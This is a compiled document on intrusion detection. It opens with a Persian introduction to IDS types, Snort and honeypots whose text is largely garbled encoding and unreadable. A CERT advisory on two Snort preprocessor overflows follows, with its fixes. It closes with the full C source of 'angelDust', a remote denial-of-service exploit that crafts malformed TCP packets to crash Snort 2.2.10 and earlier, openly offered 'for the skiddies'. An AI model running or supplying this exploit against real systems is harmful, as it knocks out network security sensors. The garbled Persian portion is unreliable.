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:��L�Mت  
 


ز�� دارد و�Q R�	� �
	( ��� RSTU VW��� R�XY Zا� �Y[( Rزم ب^ 

�R ا��TSد� _��U و ه� RW�a� bای ��	ی�

د �Yرب� �� ب��� و �c ��
d Rز�� ب
�Q 


Z��� �S�W بR ا��TSد� ��در�Z از �� R�
U eه� ������ �	
��ی�یZ ��ی�f�� Zد و �
����U �g� ��
dرا ب� RW�a� bای!  

 
 i���Mط  ب
ا��TSد� از ���VW ایRW�a� b ب� ذ�Y ��م �
ی�	��  و هlg	��U bوه�k ��ب

Zا�.  
 

,IDS Journal ,L0pht, Snort.Org ,CERT,FrSIRT  iب�	�:  
 

 
 
 

 

 
 




� دو�� �� ه	 �� ا�� از او���� �� 
 

ی� ه"	 ه! �� ��ی� �� �	م ا��ار ه�� �����ی� ���ذ و زد ه� 
)���ی� دا�'� ���� &� ا%	 در ه�$�م ���ذ �� ای# �	م ا��ار ه� رو�	و 


� و �� ���ذ (�د در ���� �*��+
 �,�( �� �. �&	 ه�ف ادا
� ��د �'�ا�
�.ده  

_و� س'0 (HoneyPot) ��ل ه�� A@*� �� ?	ف ه�� <س=ردر >�  
�ی0 و�C�D ��ر�	د ای# � س'0 ه�� ���( (IDS (زدCه�� د(�ل �	  
را �	ا)
�(' 0 و ی�د%	�' 0 �$��� ای# � س'0 ه� را دور ��� 0 و �� 

0 '�.دام )�,� � �  
Open Source) >�ی$�C (�د را  ��ار� ����زدر د� �� ا
	وز �	م ا)  

���� )وردC ا�� و دارا� ��زار �,'	� هس'��!  
�	م ا��ار� �� در ای# 
+��O �� )ن 
� (�اه 0 )���� 0 �	م ا��ار  

� ای# �	م ا��ار ی"� از 
D@��'	ی# �	م ا��ار ه�� ��� �
Snort  
���� �
.�����ی� ���ذ   

�اول &	ی# �'
	م ا��ار ای# �	م ا��ار �� دO = رای$�ن ��دن )ن ی"� از 
���� �
.ه�   

ح'� ��QR از ه"	 ه� �	ا� ا�� P �	دن �@"� از ای# �	م ا��ار 
���" 
 Cا�'��د.  

 �
� &	ی# �	��
�� �,'	ی# و ��ر)�� Cی# رد	ار ا���رت در )(���	م ا
ه�� �@"� در ردC ��م � # دو �	م ا��ار 
R	وف ا&	ال و �'"� A	ار 

(insecure.org ��	%)  
��Xی� � س'0 ه�� د(�ل �	زدC ا���رت   �,'	ی# ��س�ل �	ا� )

ACID)ا���رت �� >س'�Z در �Y�� ه� و �� �	دن )�,� ���@ 
)  
� �� در )ن ه� ا^[<�&� �	ا� ���ذ �� د�@�ل ��� �
�Y�� ه�� 

����.  
ه"	 ه� �� ا�'��دC از ه0 ا�� �Y P�� ه� ا^[<�ت ��ر�	ه�� ی� 

�
� )ور� ���.�@"� را �  
'	 �� ��ر�	د ا�� �	 ه� )��� ��0 
_��O �	ا� ای�"� �!� را � �

0�� 
 �RAوا:  
� ی"� از  ���� 
�� را �� (��� X Cو	&� �� ح�ل % 	ح'!� دی$

 �
�&� Y�Y* � ��د ی� �	��
� از R� �� Cو	ای# % �aص�) ��,
��	�
...ا�� �	 �@"� ��د  



  
 
 
 
 
 
 

Space Rogue 
 

:New York Times 
Z*�  ی"� از %�ار�$	ان 
R	وف )
	ی"�ی�   

ن ��د ��س'0 او )
# در ���ر Y�� � س'!� �� او در ح�ل ��ر �� 
�ی�ش ر< P�� #

��lع ای# ��د � �!�یj دها
� (�ا�� ��  

�
&�ا�س� �� رد % 	� و &�m Y n +Rم ه�ی� �� در  �� ای# >�ان 
� �� � س'0  ��ل 
� و ی� �@"� ( *� ��رگ � # ��ر�	 ه� رد�

Cدر ح�ل ا�'��د ��ص� p� 	از ه  Windows 95,98,2000 د�� 
�ا �� Y د��� و ح'� �س��� را �� در ح�ل ا�'��دC از 
�دم 
���  Disconnect از وب ا���*� ��د�� ر.  

�C ��دم� Cزد ��$� ]
�� #
. Silicosisن دادن��ا� �	ای#  �
n*{
 �� ا >�ی�� �� ��P �	دC ��د ی� �	� د�'�را&� ر 
� �� ح��aOnline Oرت R� !�  ���� و�د �a�) �Enter زد و �� ا ر 

 �� j Y �}DO �ا^! ��ن ���� از ��
. �&	� �� از ا^�ق &� ��
 C�$�وره�� دا�	�MIT  �Oه!$�  )�,� �� ح� ��C ��د�� =aو 

Offline د و) در�� Cاز ا^[<�&� ر ورد �	ی� � Xدر � # اح� �� 

 �A�� 	 س
�C ��د���� ��دن �	وره��  ��Offline <*�   و


,�رت (��a >!� ا ر� در ح�ل �*��� ��ن  ��د�MIT�C�$ دا� �� 
� از (�رج ��ز� )ن  )ور� �	د وR�Packet  �Oه� از ح� Encrypt �� 


"�O!�ت  �& �'�
# O س� �*���  از �!�رC ه�� &*�# ا�	اد %	
�
�!�رC � ��رت ه�� ا<'@�ر� و( *�  و (ص��a و �!�رC ه�� ر


# %�� �� �� ای# ��رش ح'�  ��  ���ن داد اوا� �ه�� دی$� ر 
��  ه�+ط �� >!� )ور� دادC ه � >�ی� رو ه0 ه� �"	دC و

�	%	دان �	 رو� )ن 
س 	 ه�� (�ص Y	دا('� �� ای# 
��lع ه0  
��ا&� ه � >� ([ف ���Aن �!���� �  و ه!�� # &�l ح داد �� 

�
  از ای# روش �	ا� %	�'# ا^[<�ت Xزم از � # وب و�د� �$��� 



�ل ��C ��د �	ا�  و ��دی�  �!� رد &� �� ��  ��
. �&	ا^[<��

س 	%	�'# �� � س'0 �!� از Cد )ندو��ر	� C. ا�'��د  	ی� ه"

�
 �	دن ا^[<�ت  Capture از ای# روش �	ا� ��ا&� ��ه�ش 
�ار� و &!�
� �!�رC ه�� ر
� و ا^[<�ت ��رت ه�� ا<'@�ر� "���

�� Cا�'��د�.  


در�� ا�� �� .�ن (�رج ���ی0(�ب �,'	 ا�� از ��D (�د

'�ان از  �Oو ���@ 
ا���رت ی� �	��
� �	ا� �����ی� ه"	 ه� 

ا�'��دC �	د �� دی$	 �س'$� �� ... ا���رت ���Rان ی� ا�� �	 و 
 !ا^[<�ت ��p دارد
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Snort) ا���رت(:  

�aرت ����ز ا�� �� �	 رو�  ا��ار &�p � ���ذ �� ی� �	م

�Windows و Linuxه��  
D ط �l	>   دد و �� &�>� �� رای$�ن	%

�اول'
ه�� &�p � ���ذ  &	ی# � س'0 ��دن )ن، �� ی"� از 
�ل ��C ا�� ه�� رای��� �@"�@
  . ی� 

� از )ن	R
�� )ن � �ز �� 	R
� ��&�C ای# د�'� از ا��اره� >��� �	ا� 
Cدر��ر � Oه !� او��
� ا��اره�� &�p � ���ذ  داری0، ا�'�ا �� 

�
�� ای# �	م 	R
ی� ا�� �	ا�  ا��ار �,��� Y	دازی0، �� <@�رت دی$	 
�
�+
   .ه�� &�p � ���ذ ی� در ��ب � س'0 ذ�	 

 ا
# و>�د ی� � س'Network 0ی"� از �	ویس,�� 
,0 در ی� 
Intrusion Detection در �@"� ا��  . j ر��� �!<	& ���ی

 �����	ای# �� . ( *� %�ی�� &R	یP ای# � س'0 در �@"� �@��
� �!� �	ا� ��'	ل ورود . 0  � 
_�ل در 
�رد )ن ���� س� �� ی � @�

و (	وج �� ی� ادارC ی� درب در ��('!�ن داری� �� Yس از 
 � �� �
ای# در . ������� �	د 
�رد �{	&�ن درب رو �	 رو� او ��ز 

 � ��& �!� �ح��O ا�� �� �!� &� A@= از ای�"� درب رو ��ز �"	دی
�ی� ^	ف 
�Zز �� ورود ه� � p�& �� ر ه0 . س� ی��ح�X ه	 �+

�	ا� درب  ) Firewall( �!� ی� �$,@�ن ( *� ��A و %	دن �*�� 
 ��	 )دم 
_= (�دش 10ورود� �$�اری� ��ز اح'!�ل دارY C�� درب 

� و وA'� درب رو ��ز 
� ��� اون �$,@�ن رو �'� ���# ���� Cوایس�د
�	ا� ای�"� از ای# 
�"=  ) . DoS( و � ,�ش ���� و وارد ��# 

>*�% 	� ��� در ( *� از >�ه� ی� � س'0 )ی��ن &ص�ی	� �� 
 ��Y �� �� A@= از ای�"� درب رو ��ز ������ �
<��ان 
_�ل در�� 

�ه�� �� �aرت �س@�� � p�& �� ��ه��   &�p �!درب رو �@ ���
  . �� )ی� درب رو ��ز ����ی���

j ا �� �'@O�m& �!  	 در ح�X < # ه! # QA � در �@"� هس'

س 	 ه�� ورود� . >�� �ت  Cرا 	در � �*
�> �� ��R
�� ای# 



ده�� �� &	ا� � ه�� A	ار 
�  ) ای�'	��
_= ( (�ر>� �� �@"� 

_= ح!*� ه�� ( )زار ده��C �	ا� �@"� DoS (  �� از ورود =@A رو

 C	 $� و >*�� ورود او�,� �� �@"� رو ��� ������� �"@� . Xح�
!  ای# و�ط � "�رC هس'j ؟��Firewallی� ���ال j Y � �د Yس 


� &��� (�د  �� j'در ح+ +� ( *� رو�,� هسFirewall 0رو ه 
�ازC از ��ر �� ) n &	& ��*� دن	)دم % �	زدی0 ی� � �� �O�_
 =_


&R	ی�� �� 
# از :) ) �� اون >,� ه� ! �$,@�ن درب رو ��ن 
Firewall ��� � �,�& �� j'ای# هس j'م هس	}� �
 �Zای� 

 ��� �
�[ن ! ه�� &R	ی�� 
� رو ا<!�ل  ]_
Source ن]� �� 
Destination �ا
� در ای��Z .  �س'� Port ی� �[ن!  
�Zز ���� ی� �@��

 �D�Intrusion Detection �
 هس' j�� &�p � �	ای}� رو 
�a C	ف �	اش و>�د ��ارC و �+ط ی� � Pی	R& ل�
 =@A از �� Cد

�	� &R	یP در 
�رد و � � Rl	 �R @^ �	اش ��C �� ��ی� در 
�� اون ( �,�ی� 
�رد ه�� ا�'@�ه� ه0 در &�p � دا�'� ���� 

� �	ا� ه! ��Z ��د ه� �*!� �س@� �� % �� �<�& 0'�( ! 

j !ی�A ه�� �pس� �'@Oدار ی� ا���رت ا�!�  

  

  

  

  

  

  

  

  

  



Intrusion Detection System (IDS)  

�p� �� ذ��� � p�& 0'م  ی� � س	ار، ���ا��ار ی� &*� +� از ه	  ا
�
&�ا�� ی�  ی� �� 
� %	دد �� در ی� � س'0 رای��� دو ا^[ق 

�، و? ��� 
D*� ی� %س'	 �@"���� Cه�ی�  � �����ی� &[ش د

� �� �	ا� ح!*� �� �@"� �aرت   �O�!'د ا(}�ر اح�Zد و ای	 %


'nA�R ح![ت، را �	 <,�C دارد.   

IDS�� ?ه� <!ً[ �� و  ��Yی& ،j�p �، : � �*� را �	<,�C دار�
j��رد . وا�
ه� <!�
ً� �� ای�Zد ا(}�ر، در IDSه	��� �� وا��j در 

nO�A 'p
�ود 
�ه�� D
 ،P* دد	د�'�.% �ی� 
���� از  ه	��
 و>�د )Intrusion Prevention System IPS(ا��اره�� ا
� '� �� ��م 

ه�� اح'!��O را  ه�� ح!*� دار�� �� Yس از �Yیj و &�p �، �س'�
�
� ح�ف ���.  

�، &��وت و &+��= 
 �ن  �"'�� 	��'
 �ی� �� در ای# 
 �ن ��ی
Firewall ه� وIDSه � <!= ز )نا. ه� ا���
�	د ای# دو ا��ار  >��� 

�  ی� از ای# دو ا��ار و? �� �� ی"�ی$	 �� �*� 
'��وت ا��، ه �
�!� C�,>	� =
% 	د، �Oا &*� +� از ا�'��دC از  دی$	� را �� ^�ر ��

�
   .&�ا�� ا
� � �*� � س'0 را ��X �@	د ه	دو ا��ار 


ژي  �
���IDS 

 

1-      Plain Hand Work  

2-      Network Based 

3-       Host Based 

4-       Honey pot 

HIDS) Host Base(  

� ا�# ��ع  O�& �� 
�اد ز��دي از �	آ',� در زR&IDS �
 � O�R� 
�
� ��د و از PCروي .آ�� nص� CPU Cو ه�رد � س'0 ا�'��د 

�
� آ��.���� �
 �}DO در 	داراي ا<[ن (}. 



 HIDS 0'س � # Oه�، اوIDS �� �در ی� � س'0 � هس'�
 .��ز� ��د ا� ��ی� Y �دC رای���

)ور� ��C  ه�، ا^[<�ت >!� 
R �ر &�p � ح![ت در ای# � س'0
�	ا� 
_�ل ای# � س'0 �� . ه�� 
P*'p �@"� ا�� �	 رو� (�دم

C��C در Y	و�� C	 )ذ ،C�ه�ی�  &�a = *Dرت <!* �ت ا��Zم �
 ه�ی� �� �	ا� ���ذ �� (�دم (�ص، ��R در &�p � &[ش


���رد ا��Zم ��C ا�� دارد.= *D& #ای �
&�ا�� �� �aرت  ه� 
= *D& 0'دد ی� �� � س	م %�Zرو� (�د (�دم ا� 	� �*D
%	 دی$	�  


�HIDSی� .�	ا� �	ر�� ار��ل ��د   j � ا^[<�ت = *D& �&�ا�
)ور�  %	 >!� �� ای# و>�د، ا%	 ���ذ .از ی� (�دم را �	 <,�C �$ 	د

ه�� 
�رد �{	 را ��   �	 رو� ه	ی� از (�دم���a Cرت <!* �ت ا��Zم
 ،��� PA�'
 ��D�HIDS #د و ای�� ��¡ (�اه�
 در &�p � ���ذ ��

 . ا��HIDS&	ی# PRl  ��رگ
�HIDS ی� >�ابر �"= زی	 د �@ 
 : رو 
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



NIDS) Network Base( 

%�ش دادن �� �@¢� و >!� )وري ا^[<�ت از^	�¡ آ�رت �@¢� اي 
در )ن �@¢� و>�د دارد  �� &!�
� &	ا� £ ه�ي 
�>�د %�ش آ� 

���Rل ��� ��ت در �@¢� 
+ص
ه�، �� <��ان NIDS .دادC و در &!�م 
 هس'�� �� Snifferه�، در �س �ر� از 
�ارد <!ً[ ی� IDSدو
 # ��ع 

ه�� ار&@�^�ت ��Rل، �� >س'��Z  ه� و Y	و&"= �� �	ر�� �س'�

�ه�ی� �� �	ا� ح!*� �aرت &[ش  �
�� <@�رت . Y	داز�� % 	د 

ه� رد و  ه�ی� ا�� �� �	 رو� �@"� ه�، &�,� �س'�NIDSدی$	 
R �ر 
�
ه� &�p � را �� ی� � س'NIDS 0��  >�ی� از )ن. %	دد ��ل 

�ود �!�D

��	د  Cد	س'% ]ً!> ،���� j � �%  �&	� دا�'� و �	ای�
�C ا��Zم 
� &�p � را �� �aرت &�زی�� �و>�د ای# �� ای# . ده�

�C و ی� �@"� ه� در روی�ی� �� �س'� � س'0��
ه�ی� ��  ه�� ر
�
  .ده�� �	<� و &	ا� � ��X ��رای� (�د را از د�� 

  �*aرد دو ��ع ا�
�� ا��Zم ��C در 	R
 ��IDSPRl ه��  ه� و
<��ان ��C �	ا� ه	ی�، واlح ا�� �� �	ا� ر� �ن �� ی� 

�� ،=
� ه!�
�ن از ه	  ا�'��دC&	ی# راC  � س'& 0�p � ���ذ ��
  .دو ��ع ای# ا��اره���

 Snort=
   ا��NIDSی� از ی�  &	ی# ح��O �!��� ، در ��

Honey pot  

� آ� <![ ^�ري &�{ 0 ��C ا�� آ� در ��� �
� س'!� 

R	ض ح!*� A	ار �$ 	د .  

�+ � رد ��د NIDS ، HIDSا%	 �£ ��Y�$	ي از �
 �� j&( Cو د��ار 
� آ� %� ��'�ر �£ 
'�>� ��pاه	Honey potا�� C�و .  �

(	ا�¢�ري ه�ي (�د را روي )ن � س'0 ا��Zم 
� ده� و 
� &�ان 
 Cدن �@¢� ا�'��د	آ #
از رو�,�ي ا�# (	ا�¢�ر�� ه� �	اي ا

و � س'0 ه��      د(�ل �	زدC در را�}� �� ?	ف <س= (.آ	د
 �'��� �*
�� �O�+
Hack-ا�� و 
 '�ا� � �� ر>�ع �� ��ی� 

tne.cjb.er� �� �� ))�,� را دری�

  

  



Cزد	رو� � س'0 د(�ل � 	س�ل ا���رت ��� 	$�ی�!�  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  &�l ح ح�O',�� ا���رت


� ای# �	م��	� =��A �Oار در �� ح����  ری�� 
� ا���: 
•  �Oح�Sniffer  
 ��دC ا�� و Snifferا��ار &�,� ی�  در ای# ح��O، ای# �	م     

�C �	 رو� �@"� را �	 رو� ��س�ل ه�� ردو��ل  
D'�ا� �س'��
�
 jی�!� � .ده

  



• �@§ �Oح� C�  ه� � �س'� ���
Snort�'ا^[<�ت �س ،� Rlدر ای# و C� ی� �� ه�� �@"� را در Y	و�

�
 �p�
 �
 C	 )د ذ�� ��ن )�,� را �� �	دC و ��R� ان�' 
 و 
 ا^[<�ت )�,� را )�[ی� �!�د

  � س'& 0�p � ���ذ  •
      ،����	" Y #از در ای Cو �� ا�'��د # � Y � *��A ا��س دو 	�


� D& � *��A* = �س'� #  R& �� �� ا��A دد،  ه� و	%Snort ن�"
 ا
�Yیj و &D* = �س'� و &�p � ���ذ را ی��'� و در �aرت � �ز 

�C را � #  R& j��وا��ه 
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Multiple Vulnerabilities in Snort Preprocessors 

Original release date: April 17, 2003 
Last revised: April 23, 2003 
Source: CERT/CC 

A complete revision history can be found at the end of this file. 

Systems Affected 

• For VU#139129: Snort versions 1.8.x, 1.9.x, and 2.0 prior to RC1.  
• For VU#916785: Snort versions 1.8.x through 1.9.0 and 2.0 Beta.  

Overview 

There are two vulnerabilities in the Snort Intrusion Detection System, each in a separate 
preprocessor module. Both vulnerabilities allow remote attackers to execute arbitrary code with 
the privileges of the user running Snort, typically root. 

 

I. Description 



The Snort intrusion detection system ships with a variety of preprocessor modules that allow the 
user to selectively include additional functionality. Researchers from two independent 
organizations have discovered vulnerabilities in two of these modules, the RPC preprocessor and 
the "stream4" TCP fragment reassembly preprocessor.  

For additional information regarding Snort, please see http://www.snort.org/.  

VU#139129 - Heap overflow in Snort "stream4" preprocessor (CAN-2003-0209)  

Researchers at CORE Security Technologies have discovered a remotely exploitable heap 
overflow in the Snort "stream4" preprocessor module. This module allows Snort to reassemble 
TCP packet fragments for further analysis.  

To exploit this vulnerability, an attacker must disrupt the state tracking mechanism of the 
preprocessor module by sending a series of packets with crafted sequence numbers. This causes 
the module to bypass a check for buffer overflow attempts and allows the attacker to insert 
arbitrary code into the heap.  

For additional information, please read the Core Security Technologies Advisory located at  

http://www.coresecurity.com/common/showdoc.php?idx=313&idxseccion=10 

This vulnerability affects Snort versions 1.8.x, 1.9.x, and 2.0 prior to RC1, including Snort 1.9.1. 
Snort has published an advisory regarding this vulnerability; it is available at 
http://www.snort.org/advisories/snort-2003-04-16-1.txt.  

VU#916785 - Buffer overflow in Snort RPC preprocessor (CAN-2003-0033)  

Researchers at Internet Security Systems (ISS) have discovered a remotely exploitable buffer 
overflow in the Snort RPC preprocessor module. Martin Roesch, primary developer for Snort, 
described the vulnerability as follows:  

When the RPC decoder normalizes fragmented RPC records, it incorrectly checks the lengths of 
what is being normalized against the current packet size, leading to an overflow condition. The 
RPC preprocessor is enabled by default.  

For additional information, please read the ISS X-Force advisory located at  

http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21951 

This vulnerability affects Snort versions 1.8.x through 1.9.0 and 2.0 Beta. Snort version 1.9.1 is 
not affected.  

II. Impact 

Both VU#139129 and VU#916785 allow remote attackers to execute arbitrary code with the 
privileges of the user running Snort, typically root. Please note that it is not necessary for the 
attacker to know the IP address of the Snort device they wish to attack; merely sending 
malicious traffic where it can be observed by an affected Snort sensor is sufficient to exploit 
these vulnerabilities.  



III. Solution 

Upgrade to Snort 2.0 

Both VU#139129 and VU#916785 are addressed in Snort version 2.0, which is available at  

http://www.snort.org/dl/snort-2.0.0.tar.gz  

Binary-only versions of Snort are available from  

http://www.snort.org/dl/binaries  

For information from other vendors that ship affected versions of Snort, please see Appendix A of 
this document.  

Disable affected preprocessor modules 

Sites that are unable to immediately upgrade affected Snort sensors may prevent exploitation of 
this vulnerability by commenting out the affected preprocessor modules in the "snort.conf" 
configuration file.  

To prevent exploitation of VU#139129, comment out the following line:  

preprocessor stream4_reassemble 

To prevent exploitation of VU#916785, comment out the following line:  

preprocessor rpc_decode: 111 32771 

After commenting out the affected modules, send a SIGHUP signal to the affected Snort process 
to update the configuration. Note that disabling these modules may have adverse effects on a 
sensor's ability to correctly process RPC record fragments and TCP packet fragments. In 
particular, disabling the "stream4" preprocessor module will prevent the Snort sensor from 
detecting a variety of IDS evasion attacks.  

Block outbound packets from Snort IDS systems 

You may be able limit an attacker's capabilities if the system is compromised by blocking all 
outbound traffic from the Snort sensor. While this workaround will not prevent exploitation of the 
vulnerability, it may make it more difficult for the attacker to create a useful exploit.  

Apple Computer, Inc. 

Snort is not shipped with Mac OS X or Mac OS X Server.  

Ingrian Networks 



Ingrian Networks products are not susceptible to VU#139129 and VU#916785 since they do not 
use Snort.  

Ingrian customers who are using the IDS Extender Service Engine to mirror cleartext data to a 
Snort-based IDS should upgrade their IDS software.  

NetBSD 

NetBSD does not include snort in the base system.  

Snort is available from the 3rd party software system, pkgsrc. Users who have installed net/snort, 
net/snort-mysql or net/snort-pgsql should update to a fixed version. pkgsrc/security/audit-
packages can be used to keep up to date with these types of issues.  

Red Hat Inc. 

Not vulnerable. Red Hat does not ship Snort in any of our supported products.  

SGI 

SGI does not ship snort as part of IRIX.  

Snort 

Snort 2.0 has undergone an external third party professional security audit funded by 
Sourcefire.  

Snort <= 2.2.10 Remote Denial of Service Exploit  
Date : 22/12/2004 
Solution : Upgrade to Snort 2.3.0-RC1 or later  

 

#include <stdio.h>  

#include <stdlib.h>  

#include <unistd.h>  

#include <string.h>  

#include <netinet/in.h>  

#include <netinet/tcp.h>  

#include <netinet/ip.h>  

#include <sys/socket.h>  

#include <sys/types.h>  

#include <arpa/inet.h>  

#include <getopt.h>  

 

#define BINARYBETA  

 

void printUsage()  

{  

printf("./angelDust -D <destination_ip> -S <source_ip>\n");  

printf("Please as with all inhalants use wisely in the comfort of your own home\n");  

}  

 

 

int main(int argc, char **argv)  

{  

int s;  



int next_opt;  

const char* const short_opts="hD:S:";  

//either one there both not valid protocol  

//char opts[] = "\x02\04\xff\xff";  

char opts[] = "\x06\00\xff\xff";  

 

char datagram[64];  

struct sockaddr_in addr;  

struct ip *ip = (struct ip *) datagram;  

struct tcphdr *tcp;  

char dst_ip[16];  

char src_ip[16];  

#ifdef BINARYBETA  

if(strstr (argv[0],"/angelDust") == NULL)  

{  

printf("Cmon you stupid llama, put the original name back\n");  

exit(-1);  

}  

#endif  

 

if(argc < 2)  

{  

printf("angelDust by Antimatt3r\n");  

printf("pr0ps to Marcin for finding this bug\n");  

printf("pr0ps to me for making something useful out of it for the skiddies\n");  

exit(-1);  

}  

const struct option long_opts[]=  

{  

{"help", 0, NULL,'h'},  

{"destination_ip",1,NULL,'D'},  

{"source_ip",1,NULL,'S'},  

};  

strncpy(dst_ip,"127.0.0.1",16);  

strncpy(src_ip,"127.0.0.1",16);  

do  

{  

next_opt = getopt_long(argc,argv,short_opts,long_opts,NULL);  

switch( next_opt)  

{  

case 'h' :  

printUsage();  

return 0;  

case 'D' :  

strncpy(dst_ip,optarg,16);  

break;  

case 'S' :  

strncpy(src_ip,optarg,16);  

break;  

} }  

while(next_opt != -1) ;  

memset(&datagram, 0, sizeof(datagram));  

addr.sin_addr.s_addr = inet_addr(dst_ip);  

addr.sin_port = htons(123);  

addr.sin_family = AF_INET;  

ip->ip_hl = 5;  

ip->ip_v = 4;  

ip->ip_tos = 0;  

ip->ip_id = 0;  

ip->ip_off = 0;  

ip->ip_ttl = 64;  

ip->ip_p = IPPROTO_TCP;  

ip->ip_len = 44;  

ip->ip_sum = 0;  

ip->ip_dst.s_addr = addr.sin_addr.s_addr;  

ip->ip_src.s_addr = inet_addr(src_ip);  



tcp = (struct tcphdr *) (datagram + (ip->ip_hl << 2));  

tcp->source = htons(321);  

tcp->dest = addr.sin_port;  

tcp->seq = 0;  

tcp->ack = 0;  

tcp->res1 = 0;  

tcp->doff = 6;  

tcp->syn = 0;  

tcp->window = 0x1000;  

tcp->check = 0;  

tcp->urg_ptr = 0;  

memcpy(datagram + 40, opts, sizeof(opts));  

if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {  

perror("socket");  

exit(0);  

}  

if (sendto(s, datagram, ip->ip_len, 0, (struct sockaddr *) &addr,  

sizeof(struct sockaddr_in)) == -1) {  

perror("sendto");  

exit(-1);  

}  

fprintf(stderr,"Sniff this\n");  

fprintf(stderr,"..............//");  

sleep(1);  

fprintf(stderr,"\b\b\b\b// ");  

sleep(1);  

fprintf(stderr,"\b\b\b\b\b\b// ");  

sleep(1);  

fprintf(stderr,"\b\b\b\b\b\b\b\b// ");  

sleep(1);  

fprintf(stderr,"\b\b\b\b\b\b\b\b\b\b// ");  

sleep(1);  

fprintf(stderr,"\b\b\b\b\b\b\b\b\b\b\b\b// \n");  

printf("and choke!\n");  

close(s);  

return 0;  

}  
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